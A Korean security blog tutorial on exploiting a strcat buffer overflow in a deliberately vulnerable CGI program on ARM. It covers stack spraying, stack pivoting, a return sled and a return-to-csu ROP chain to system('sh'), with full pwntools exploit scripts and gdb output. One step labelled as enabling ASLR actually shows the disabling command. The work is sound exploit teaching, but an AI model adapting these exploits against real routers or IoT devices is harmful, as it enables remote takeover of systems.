R&D
Common ways to exploit CGI Buffer overflow.
김도현
Aug 20, 2020

Common ways to exploit CGI Buffer overflow.

다양한 임베디드 서비스 및 IoT에서 사용되는 CGI 프로그램을 공격하는 일반적인 방법에 대해 알아 보겠습니다.

Common Gateway Interface

CGI는 웹 서버상에서 사용자 프로그램을 동작시키기 위한 조합입니다. 존재하는 많은 웹 서버 프로그램은 CGI의 기능을 이용할 수 있습니다. CGI는 환경변수나 표준입출력을 다룰 수 있는 프로그램 언어에서라면 언어의 구별을 묻지 않고 확장하여 이용하는 것이 가능하나, 실행속도나 텍스트 처리의 용이함 등의 균형에 의해 펄이 사용되는 경우가 많았습니다.[^1]

CGI는 주로 Router, NAS와 같은 다양한 Embedded device, IoT Service를 위해 사용됩니다.

                | Server
                |
+--------+      |       +-------------+       +-------------+
| Client |<=---HTTP---=>| HTTP Server |<=---=>| CGI Program |
+--------+      |       +-------------+       +-------------+
                |
                |

CGI: How-to

Lighttpd1와 같이 HTTP 프로토콜을 처리하여 CGI 프로그램으로 전달 할 수 있는 웹 서버 역할을 하는 프로그램을 한가지 선정합니다. 그 후에 CGI 규약에 맞게 프로그램을 작성하면 됩니다. 본 챕터에서는 공격하기 위해 알아야하는 몇가지를 설명하겠습니다.

환경변수

환경변수에는 HTTP 프로토콜을 통해 클라이언트에게 제공받은 정보가 저장됩니다.

임의로 변조된 사용자의 값이 전달 될 수 있는 벡터는 다음과 같습니다.2

  • HTTP_COOKIE : 클라이언트의 Cookie입니다.
  • HTTP_USER_AGENT : 클라이언트의 User agent입니다.
  • QUERY_STRING : 클라이언트에게 제공받은 GET 쿼리 문자열입니다.

표준입출력

표준 출력을 통해 cgi 페이지로 접근한 클라이언트에게 그 내용을 전달할 수 있습니다.

POST와 같은 HTTP Method를 서비스 하기 위해 CGI에서는 표준입력을 사용합니다. POST의 데이터를 전달 받기 위해서는 단순히 표준입력을 받기만 하면 우리는 POST를 통해 전달 된 데이터를 받아낼 수 있습니다.

CGI 공격

vuln.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

char *param;
int param_count;

static inline char h2c(char h) // F -> 15
{
    if (h >= 'a' && h <= 'f')
        return h - 'a' + 0xa;
    if (h >= 'A' && h <= 'F')
        return h - 'A' + 0xa;
    return h - '0';
}

char u2c(char *u) // %00 -> \x00
{
    char ret = 0;

    if (*u == '%')
    {
        ret += h2c(*(u+1)) * 0x10;
        ret += h2c(*(u+2)) * 0x01;
    }

    return ret;
}

int urldecode(char *s)
{
    int index1 = 0;
    int index2 = 0;

    if (!s)
        return 1;

    if (s[index2] == '?')
        index2++;

    param = s;
    param_count = 0;

    while (s[index2])
    {
        if (s[index2] == '%')
        {
            s[index1++] = u2c(s+index2);
            index2 += 3;
        }
        else if (s[index2] == '&')
        {
            s[index1++] = '\0';
            index2++;
        }
        else
        {
            if (s[index2] == '=')
                param_count++;
            s[index1++] = s[index2++];
        }
    }

    s[index1] = '\0';

    return 0;
}

int get_val(char *name, char *dest, size_t size)
{
    int err = 1;
    char *param_c = param;
    size_t param_len = strlen(param_c);
    size_t name_len = strlen(name);

    if (!param || !param_count)
    {
        printf("no query.\n");
        return 1;
    }

    for (int i = 0; i < param_count; i++)
    {
        if (!memcmp(name, param_c, name_len) && param_c[name_len] == '=')
        {
            param_c += name_len + 1;
            strncpy(dest, param_c, size);
            err = 0;
            break;
        }
        else
        {
            param_c += param_len+1;
            param_len = strlen(param_c);
        }
    }

    return err;
}

int main(int argc, char **argv, char **envp)
{
    char out[512];
    char cmd[256];
    char buf[256];

    if (urldecode(getenv("QUERY_STRING")))
    {
        printf("urldecode error.\n");
        return -1;
    }

    memset(out, 0, sizeof(out));
    memset(cmd, 0, sizeof(cmd));
    memset(buf, 0, sizeof(buf));

    if (!get_val("time", buf, sizeof(buf)) && buf[0] == 'y')
        strcat(cmd, "echo '- time ------' >> /tmp/out && date >> /tmp/out;");
    if (!get_val("ifconfig", buf, sizeof(buf)) && buf[0] == 'y')
        strcat(cmd, "echo '- ifconfig --' >> /tmp/out && ifconfig bond0 >> /tmp/out;");
    if (!get_val("uname", buf, sizeof(buf)) && buf[0] == 'y')
        strcat(cmd, "echo '- uname -----' >> /tmp/out && uname -a >> /tmp/out;");

    system("rm -f /tmp/out");
    system(cmd);

    int fd;
    if ((fd = open("/tmp/out", O_RDONLY)) < 0)
        return -1;
    read(fd, out, sizeof(out));
    close(fd);

    if (!get_val("comment", buf, 0x100))
        strcat(out, buf);

    puts(out);
    return 0;
}

위 샘플 코드는 시스템의 time, ifconfig, uname의 결과값을 출력 해 주는 간단한 프로그램입니다.

  • L109 QUERY_STRING을 통해 인풋 받는 GET Query의 디코딩을 처리합니다.
  • L119~124 time, ifconfig, uname을 실행하는 명령어 조합을 cmd 버퍼에 복사합니다.
  • L126~127 /tmp/out을 삭제 후 cmd 버퍼의 내용대로 명령어를 실행합니다.
  • L129~133 /tmp/out 파일을 읽어 out버퍼에 복사합니다.
  • L135~136 comment 의 값이 유효할 경우 그 값을 out 버퍼에 복사합니다.
  • L138 out을 출력합니다.

L136에서 strncat 대신 strcat3을 사용하기 때문에, out 버퍼에 이미 많은 양의 데이터가 채워져 있을 경우의 예외를 처리하지 않습니다. 이로 인해 Buffer overflow4가 발생하게 됩니다.

취약점 증명

취약점을 증명하기 위해 간단히 웹 브라우저를 사용할 수 있습니다.

image-20200819160551819

위는 정상적인 프로그램의 실행 흐름을 나타냅니다.

image-20200819160732064

위는 다수의 데이터를 comment 파라미터를 통해 전달 할 경우를 보여줍니다.

Lighttpd의 경우 다음과 같이 core dump를 활성화 시킬 수 있습니다. cgi 프로그램이 존재하는 디렉토리에 core dump가 생성됩니다.

$ echo 'server.core-files = "enable"' >> /etc/lighttpd.conf
$ kill -9 `pidof lighttpd`
$ lighttpd -f /etc/lighttpd.conf -m /usr/local/lib

그 후, 해당 프로그램의 core dump를 확인합니다.

/home/314ckC47 # ./gdb -q -c /path/to/core
[New LWP 6007]
Core was generated by `vuln.cgi'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616160 in ?? ()
(gdb) i r pc
pc             0x61616160       0x61616160

$pc 레지스터가 변조 된 것을 알 수 있습니다.

공격 제약

일반적인 BOF 공격은 Return Oriented Programming(ROP)5을 주로 사용합니다.

하지만 이번 취약점을 공격하기에는 몇가지 제약이 있습니다.

  • 문자열 복사를 통해 발생하는 Buffer overflow이기 때문에, ROP Payload에 Null byte가 포함 될 경우 성공적으로 공격을 수행할 수 없습니다.
  • 공격에 사용할 수 있는 정적인 주소가 프로그램(vuln.cgi)이 로드 된 지점밖에 없습니다.
  • 프로그램이 로드 된 주소값의 상위 1바이트는 Null-byte입니다.

이런 상황에서 구상할 수 있는 Payload는 다음과 같습니다.

<= 0x00000000                       0xffffffff =>
+-----+-(out)---------------+-(BP)-+-(PC)-+-----+
| ... | ............ 'a'*63 | BASE | JUMP | ... |
+-----+---------------------+------+------+-----+
                      === Overflow ==>
  • JUMP에는 상위 1바이트가 Null-byte인 주소값을 삽입할 수 있습니다.
  • BASE에는 Null-byte가 존재하지 않는 어떤 값을 삽입할 수 있습니다.

이런 모든 조건을 종합 해 보았을 때, 우리는 다음과 같이 공격을 구상해야합니다.

  • PC를 단 한번 변조하여 공격자가 원하는 코드의 흐름을 획득 해야합니다.
    • 연속적인 함수의 호출 또는 인자의 구성을 위해 Null-byte를 삽입할 수 있는 영역이 필요합니다.
    • 연속적인 함수의 호출 또는 인자의 구성을 위해 SP를 변조할 수 있어야 합니다.

Stack spray

QUERY_STRING 환경변수는 스택에 저장되어 있습니다. 이를 활용하면 다음과 같이 Stack spray를 시도 할 수 있습니다.

#!/usr/bin/python3

from pwn import *

e = ELF("./vuln")

def form_packet(ip, param):
    packet  = ""
    packet += "GET http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
    packet += "Host: {}\r\n".format(ip)
    packet += "Connection: keep-alive\r\n"
    packet += "Content-Length: 0\r\n"
    packet += "User-Agent: Mozilla/5.0\r\n"
    packet += "Accept: */*\r\n"
    packet += "Origin: http://{}\r\n".format(ip)
    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
    packet += "Accept-Encoding: gzip, deflate\r\n"
    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
    packet += "\r\n"
    return packet.encode()

def form_param(payload, spray):
    return "&".join(["ifconfig=y", "comment="+payload, "s="+spray])

def exploit(ip):
    payload = 'a'*63 + "STCK" + "JUMP"
    spray   = 'b'*0x10000
    param   = form_param(payload, spray)
    packet  = form_packet(ip, param)

    p = remote(ip, 80)
    p.send(packet)
    r = p.recv(1024).decode()
    log.info(r)
    p.close()

if __name__ == "__main__":
    if (len(sys.argv) == 2):
        exploit(sys.argv[1])
    else:
        print("{} [target-ip]".format(sys.argv[0]))

실제로 스택에 스프레이가 되었는지 확인합니다.

(gdb) x/16wx $sp+0x380
0xbec65db8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbec65dc8:     0x64646161      0x44446464      0x73004444      0x6262623d
0xbec65dd8:     0x62626262      0x62626262      0x62626262      0x62626262
0xbec65de8:     0x62626262      0x62626262      0x62626262      0x62626262
(gdb) x/16wx $sp+0x380+0x10000
0xbec75db8:     0x62626262      0x62626262      0x62626262      0x62626262
0xbec75dc8:     0x62626262      0x62626262      0x62626262      0x45520062
0xbec75dd8:     0x53455551      0x52555f54      0x762f3d49      0x2e6e6c75
0xbec75de8:     0x3f696763      0x6f636669      0x6769666e      0x6326793d
(gdb)

스프레이가 잘 되었음을 확인 했습니다.

또한 Null-byte의 삽입이 가능한지의 여부를 확인합니다.

# ...
def exploit(ip):
    payload = 'a'*63 + 'dddd' + 'DDDD'
    spray   = '%00'*4 + 'b'*(0x10000-12)
    param   = form_param(payload, spray)
    packet  = form_packet(ip, param)
# ...

4바이트의 null을 삽입 해 봅니다.

(gdb) x/16wx $sp+0x380
0xbed44db8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbed44dc8:     0x64646161      0x44446464      0x73004444      0x0000003d
0xbed44dd8:     0x62626200      0x62626262      0x62626262      0x62626262
0xbed44de8:     0x62626262      0x62626262      0x62626262      0x62626262
(gdb) x/16wx $sp+0x380+0x10000
0xbed54db8:     0x62626262      0x62626262      0x62626262      0x62626262
0xbed54dc8:     0x62626262      0x62620062      0x62626262      0x45520062
0xbed54dd8:     0x53455551      0x52555f54      0x762f3d49      0x2e6e6c75
0xbed54de8:     0x3f696763      0x6f636669      0x6769666e      0x6326793d
(gdb)

Null-byte를 삽입할 수 있는 영역임을 확인 했습니다.

Stack Pointer 변조

armv7에서 R11 레지스터는 x86의 ebp와 같은 역할을 수행합니다.

(gdb) disas main
...
   0x00010c9c <+624>:   mov     r0, r3      // -- main epilogue --
   0x00010ca0 <+628>:   sub     sp, r11, #4 // r11(bp)에서 4를 뺀 값을 sp에 저장합니다.
   0x00010ca4 <+632>:   pop     {r11, pc}   // 스택에서 r11, pc를 순차적으로 pop합니다.
...

이를 활용하면 Stack pointer(sp)를 변조할 수 있습니다.

아래와 같은 순서의 명령을 수행한다고 가정합니다.

### Stage 1 ######################################################
+-Code-------------+---------------------------------------------+
| pc  > 0x00010ca0 | sub  sp, r11, #4                            |
|       0x00010ca4 | pop  {r11, pc}                              |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp    0xbfff8f00                                               |
| r11   0xbfff8f14                                               |
+----------------------------------------------------------------+

### Stage 2 ######################################################
+-Code-------------+---------------------------------------------+
|       0x00010ca0 | sub  sp, r11, #4                            |
| pc  > 0x00010ca4 | pop  {r11, pc}                              |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp    0xbfff8f10 *                                             |
| r11   0xbfff8f14                                               |
+----------------------------------------------------------------+
* r11에서 4를 뺀 값을 sp에 넣었습니다.

### Stage 3 ######################################################
+-Code-------------+---------------------------------------------+
| pc  > 0x00010ca0 | sub  sp, r11, #4                            |
|       0x00010ca4 | pop  {r11, pc}                              |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp    0xbfff8f10                                               |
| r11   0xbfff8f24 *                                             |
+----------------------------------------------------------------+
* sp(0xbfff8f10)에서 r11, pc를 pop 했습니다.

### Stage 4 ######################################################
+-Code-------------+---------------------------------------------+
|       0x00010ca0 | sub  sp, r11, #4                            |
| pc  > 0x00010ca4 | pop  {r11, pc}                              |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp    0xbfff8f20 *                                             |
| r11   0xbfff8f24                                               |
+----------------------------------------------------------------+
* r11에서 4를 뺀 값을 sp에 넣었습니다.
  sp의 값이 우리가 원하는 값(0xbfff8f20)으로 변조되었습니다.
  
### Stage 5 ######################################################
+-Code-------------+---------------------------------------------+
| pc  > 0x41414141 | ........................................... |
+------------------+---------------------------------------------+
+-Stack------------+----------0----------4----------8----------c-+
|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
+------------------+---------------------------------------------+
+-Register-------------------------------------------------------+
| sp    0xbfff8f28                                               |
| r11   0x41414141                                               |
+----------------------------------------------------------------+
* pc와 r11이 변조되었습니다.

위와 같은 방법으로 연속적인 함수의 호출 또는 인자의 구성을 위해 SP를 변조할 수 있습니다.

공격코드 작성

위 두가지 방법을 이용하면 다음과 같은 흐름으로 공격을 수행합니다.

  1. QUERY_STRING을 전달함으로 BOF를 발생시키고, 스택에 ROP Payload를 spray합니다.
  2. SP를 Stack spray된 영역으로 변조합니다.
  3. ROP Payload를 수행합니다.
    1. ASLR이 비활성화 되어있으면, ROP Payload를 즉각적으로 수행 할 수 있습니다.
    2. ASLR이 활성화 되어있으면, SP가 잘못된 영역을 역참조 할 수 있습니다. 이럴경우, 1을 다시 수행합니다.

Case: ASLR 비활성화

다음과 같이 ASLR을 비활성화 할 수 있습니다.

# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
0

ASLR이 비활성화 된 후, 스프레이를 먼저 수행하여 core dump를 확인합니다.

(gdb) x/32wx $sp+0x380
0xbefe1d98:     0x6161616b      0x6161616c      0x6161616d      0x6161616e
0xbefe1da8:     0xbefe1ddc      0x44444444      0x3d737300      0x41414141
0xbefe1db8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbefe1dc8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbefe1dd8:     0x41414141      0x41414141      0x41414141      0x41414141

Stack spray가 0xbefe1db4에서 시작합니다. 해당 주소로 sp를 변조합니다.

SPRAY_LEN = 0xf000
leave  = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}

def payload(r11, lr, dummy_len):
    payload = cyclic(dummy_len).decode()
    payload += purl32(r11)
    payload += purl32(lr)
    return payload

def spray():
    spray = "A"*SPRAY_LEN
    return spray

def exploit():
# ...
    stack  = 0xbefe1db4+4
    pload  = payload(stack, leave, dummy_len)
    param  = form_param(pload, spray())
    packet = form_packet(ip, param, command)
# ...

위의 코드를 실행 후 다시 gdb로 확인합니다.

(gdb) x/16wx $sp-0x10
0xbefe1dac:     0x00010ca0      0x3d737300      0x41414141      0x41414141
0xbefe1dbc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbefe1dcc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbefe1ddc:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) i r pc
pc             0x41414140       0x41414140
(gdb)

정상적으로 pc가 변조되었습니다.

Return sled

Return sled를 이용하여 스프레이한 영역의 어느곳으로 sp, pc가 변조되어도 공격자의 ROP Payload가 실행되도록 합니다.

0x00010ca4: pop {r11, pc}
0x000108e0: pop {r4, r11, pc}

위의 두 가젯을 활용합니다.

      ...
|  0x00010ca4
|  0x00010ca4
|  0x000108e0
|  0x00010ca4 # r4
|  0x41414141 # r11
V  [ROP HERE] # pc
def spray():
    # ...
	spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
    spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
    spray += rop
    
    return spray

ROP

Return-to-csu를 활용합니다.

def chain(func, r0, r1, r2):
    c = ''
    c += purl32(0x00000000) # r4
    c += purl32(func)       # [r5] => r3
    c += purl32(0x00000000) # r6
    c += purl32(r0)         # r7 => r0
    c += purl32(r1)         # r8 => r1
    c += purl32(r2)         # r9 => r2
    c += purl32(0x00000000) # r10
    c += purl32(csu_2)      # pc
    return c

def spray():
    #...
	# Return-to-csu.
    rop = purl32(csu_1)

    # Set bss:0x20 to get_val address.
    for i in range(4):
        addr = e.bss(0x20+i)
        value = e.symbols['get_val'] >> (i*8) & 0xff
        rop += chain(e.got['memset'], addr, value, 1)

    # get_val("t", bss:0x24, 2): returns "sh"
    rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
    rop += chain(e.got['system'], e.bss(0x24), 0, 0)
    #...
  • chain() 함수는 Return-to-csu 가젯을 자동으로 구성 해 줍니다.
  • L18~22 : bss:0x20 지점에 get_val 함수의 포인터를 작성합니다.
  • L25 : get_val 함수를 이용해 QUERY_STRING에서 t 쿼리의 값을 bss:0x24 지점에 작성합니다. 그 값은 "sh" 입니다.
  • L26 : system 함수를 이용해 쉘을 실행시킵니다.

명령어 전달

ROP Payload가 수행되고 나면, 쉘 프로세스가 실행되고, 명령어 입력까지 대기합니다.

POST 메소드를 이용해 Standard input으로 쉘 명령을 전달하여 실행시킵니다.

def form_packet(ip, param, content=''):
    packet  = ""
    packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
    packet += "Host: {}\r\n".format(ip)
    packet += "Connection: keep-alive\r\n"
    packet += "Content-Length: {}\r\n".format(len(content))
    packet += "User-Agent: Mozilla/5.0\r\n"
    packet += "Accept: */*\r\n"
    packet += "Origin: http://{}\r\n".format(ip)
    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
    packet += "Accept-Encoding: gzip, deflate\r\n"
    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
    packet += "\r\n"
    packet += content
    packet += "\r\n"
    return packet.encode()

안정화 작업

def exploit(ip, command):

    # ifconfig's output length is not fixed.
    # So, we need to get the buffer first to calculate
    # the overflow size.
    log.info("Getting buffer.")
    packet = form_packet(ip, form_param())
    p = remote(ip, 80)
    p.send(packet)
    r = p.recv().decode()
    r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
    dummy_len = 0x204 - len(r)
    p.close()

    log.info("Exploit.")
    stack  = 0xbefe1db4+4
    pload  = payload(stack, leave, dummy_len)
    param  = form_param(pload, spray())
    packet = form_packet(ip, param, command)
    p = remote(ip, 80)
    p.send(packet)
    p.close()

    log.info("Success!")

ifconfig 명령의 출력값의 길이가 고정되어있지 않습니다.

오버플로우 사이즈를 안정적으로 계산하기 위해 ifconfig 명령 결과 버퍼의 길이값을 측정하고, 계산합니다.

no-ASLR 공격 코드

#!/usr/bin/python3

from pwn import *

e = ELF("./vuln")

# Globals & Defines
spray_fix = ''
SPRAY_LEN = 0xf000
EADDR_LEN = 12

# Gadgets
sled_1 = 0x00010ca4 # pop {r11, pc}
sled_2 = 0x000108e0 # pop {r4, r11, pc}
csu_1  = 0x00010d28
csu_2  = 0x00010d0c
leave  = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}

# ETC.
str_t = 0x10e66

def purl32(value):
    a = (value & 0x000000ff) >> 0
    b = (value & 0x0000ff00) >> 8
    c = (value & 0x00ff0000) >> 16
    d = (value & 0xff000000) >> 24
    return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)

def form_packet(ip, param, content=''):
    packet  = ""
    packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
    packet += "Host: {}\r\n".format(ip)
    packet += "Connection: keep-alive\r\n"
    packet += "Content-Length: {}\r\n".format(len(content))
    packet += "User-Agent: Mozilla/5.0\r\n"
    packet += "Accept: */*\r\n"
    packet += "Origin: http://{}\r\n".format(ip)
    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
    packet += "Accept-Encoding: gzip, deflate\r\n"
    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
    packet += "\r\n"
    packet += content
    packet += "\r\n"
    return packet.encode()

def form_param(payload='', spray=''):
    p = ["t=sh", "ifconfig=y"]
    if payload:
        p.append("comment="+payload)
    if spray:
        p.append("ss="+spray)
    return "&".join(p)

def payload(r11, lr, dummy_len=54):
    payload = cyclic(dummy_len).decode()
    payload += purl32(r11)
    payload += purl32(lr)
    return payload

def chain(func, r0, r1, r2):
    c = ''
    c += purl32(0x00000000) # r4
    c += purl32(func)       # [r5] => r3
    c += purl32(0x00000000) # r6
    c += purl32(r0)         # r7 => r0
    c += purl32(r1)         # r8 => r1
    c += purl32(r2)         # r9 => r2
    c += purl32(0x00000000) # r10
    c += purl32(csu_2)      # pc
    return c

def spray():

    # If we already got spray buffer, use it.
    global spray_fix
    if len(spray_fix):
        return spray_fix

    # Return-to-csu.
    rop = purl32(csu_1)

    # Set bss:0x20 to get_val address.
    for i in range(4):
        addr = e.bss(0x20+i)
        value = e.symbols['get_val'] >> (i*8) & 0xff
        rop += chain(e.got['memset'], addr, value, 1)

    # get_val("t", bss:0x24, 2): returns "sh"
    rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
    
    # system("sh")
    rop += chain(e.got['system'], e.bss(0x24), 0, 0)

    # Forming spray.
    spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
    spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
    spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
    spray += rop

    # Fix the spray buffer.
    spray_fix = spray

    return spray

def exploit(ip, command):

    # ifconfig's output length is not fixed.
    # So, we need to get the buffer first to calculate
    # the overflow size.
    log.info("Getting buffer.")
    packet = form_packet(ip, form_param())
    p = remote(ip, 80)
    p.send(packet)
    r = p.recv().decode()
    r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
    dummy_len = 0x204 - len(r)
    p.close()

    log.info("Exploit.")
    stack  = 0xbefe1db4+4
    pload  = payload(stack, leave, dummy_len)
    param  = form_param(pload, spray())
    packet = form_packet(ip, param, command)
    p = remote(ip, 80)
    p.send(packet)
    p.close()

    log.info("Success!")

if __name__ == "__main__":
    if (len(sys.argv) == 3):
        exploit(sys.argv[1], sys.argv[2])
    else:
        print("{} [target-ip] [shell command]".format(sys.argv[0]))
bc@machine $ ./exploit.py 172.16.13.9 'echo PWNED > /tmp/pwned'
[*] '/mnt/c/Users/314ckC47/Documents/CGI Exploitation/source/vuln'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
[*] Getting buffer.
[*] Exploit.
[*] Success!
/home/314ckC47 $ cat /tmp/pwned
PWNED

Case: ASLR 활성화

다음과 같이 ASLR을 활성화합니다.

# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
0

종료 조건

sp가 참조하는 지점에 대해 Brute-forcing을 수행합니다. Brute-forcing의 종료 조건을 위해 ROP Payload가 성공적으로 수행 될 경우 프로그램을 abort시켜 500 Internal error를 발생시키지 않도록 합니다.

    # system("sh")
    rop += chain(e.got['system'], e.bss(0x24), 0, 0)

    # abort
    rop += "AAAA"*7 + purl32(abort)

ASLR 공격 코드

#!/usr/bin/python3

from pwn import *

e = ELF("./vuln")

# Globals & Defines
spray_fix = ''
SPRAY_LEN = 0xf000
EADDR_LEN = 12

# Gadgets
sled_1 = 0x00010ca4 # pop {r11, pc}
sled_2 = 0x000108e0 # pop {r4, r11, pc}
csu_1  = 0x00010d28
csu_2  = 0x00010d0c
leave  = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}

# ETC.
str_t = 0x00010e66
abort = 0x0001055c

def purl32(value):
    a = (value & 0x000000ff) >> 0
    b = (value & 0x0000ff00) >> 8
    c = (value & 0x00ff0000) >> 16
    d = (value & 0xff000000) >> 24
    return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)

def form_packet(ip, param, content=''):
    packet  = ""
    packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
    packet += "Host: {}\r\n".format(ip)
    packet += "Connection: keep-alive\r\n"
    packet += "Content-Length: {}\r\n".format(len(content))
    packet += "User-Agent: Mozilla/5.0\r\n"
    packet += "Accept: */*\r\n"
    packet += "Origin: http://{}\r\n".format(ip)
    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
    packet += "Accept-Encoding: gzip, deflate\r\n"
    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
    packet += "\r\n"
    packet += content
    packet += "\r\n"
    return packet.encode()

def form_param(payload='', spray=''):
    p = ["t=sh", "ifconfig=y"]
    if payload:
        p.append("comment="+payload)
    if spray:
        p.append("ss="+spray)
    return "&".join(p)

def payload(r11, lr, dummy_len=54):
    payload = cyclic(dummy_len).decode()
    payload += purl32(r11)
    payload += purl32(lr)
    return payload

def chain(func, r0, r1, r2):
    c = ''
    c += purl32(0x00000000) # r4
    c += purl32(func)       # [r5] => r3
    c += purl32(0x00000000) # r6
    c += purl32(r0)         # r7 => r0
    c += purl32(r1)         # r8 => r1
    c += purl32(r2)         # r9 => r2
    c += purl32(0x00000000) # r10
    c += purl32(csu_2)      # pc
    return c

def spray():

    # If we already got spray buffer, use it.
    global spray_fix
    if len(spray_fix):
        return spray_fix

    # Return-to-csu.
    rop = purl32(csu_1)

    # Set bss:0x20 to get_val address.
    for i in range(4):
        addr = e.bss(0x20+i)
        value = e.symbols['get_val'] >> (i*8) & 0xff
        rop += chain(e.got['memset'], addr, value, 1)

    # get_val("t", bss:0x24, 2): returns "sh"
    rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val

    # system("sh")
    rop += chain(e.got['system'], e.bss(0x24), 0, 0)

    # abort
    rop += "AAAA"*7 + purl32(abort)

    # Forming spray.
    spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
    spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
    spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
    spray += rop

    # Fix the spray buffer.
    spray_fix = spray

    return spray

def exploit(ip, command):

    # ifconfig's output length is not fixed.
    # So, we need to get the buffer first to calculate
    # the overflow size.
    log.info("Getting buffer.")
    packet = form_packet(ip, form_param())
    p = remote(ip, 80)
    p.send(packet)
    r = p.recv().decode()
    r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
    dummy_len = 0x204 - len(r)
    p.close()

    log.info("Exploit.")
    while True:
        stack  = 0xbefe1dd4
        pload  = payload(stack, leave, dummy_len)
        param  = form_param(pload, spray())
        packet = form_packet(ip, param, command)
        p = remote(ip, 80)
        p.send(packet)
        r = p.recv()
        p.close()
        if r.find(b"200 OK") != -1:
            break

    log.info("Success!")

if __name__ == "__main__":
    if (len(sys.argv) == 3):
        exploit(sys.argv[1], sys.argv[2])
    else:
        print("{} [target-ip] [shell command]".format(sys.argv[0]))

끝내면서

CGI를 공격하는 방법에 대해 알아보았습니다. 일반적으로 웹 CGI 프로그램 혹은 CGI는 문자열을 처리하는 코드가 많습니다. 문자열을 처리하는 코드에서 주로 발생할 수 있는 String copy buffer overflow의 공격 방법에 대해 알아보았고, 안정적인 공격 코드를 작성하는 법에 대해 알아 보았습니다.

추가적인 질문 사항과 수정사항은 [email protected]으로 남겨 주시면 감사하겠습니다.


김도현
RECENT POST
Minjoong Kim
Android 1day Exploit Analysis (CVE-2019-2215)
Android 1day Exploit Analysis by Newbie
이주협, 이주영
뉴비들의 하드웨어 해킹 입문기
뉴비들의 하드웨어 해킹 입문기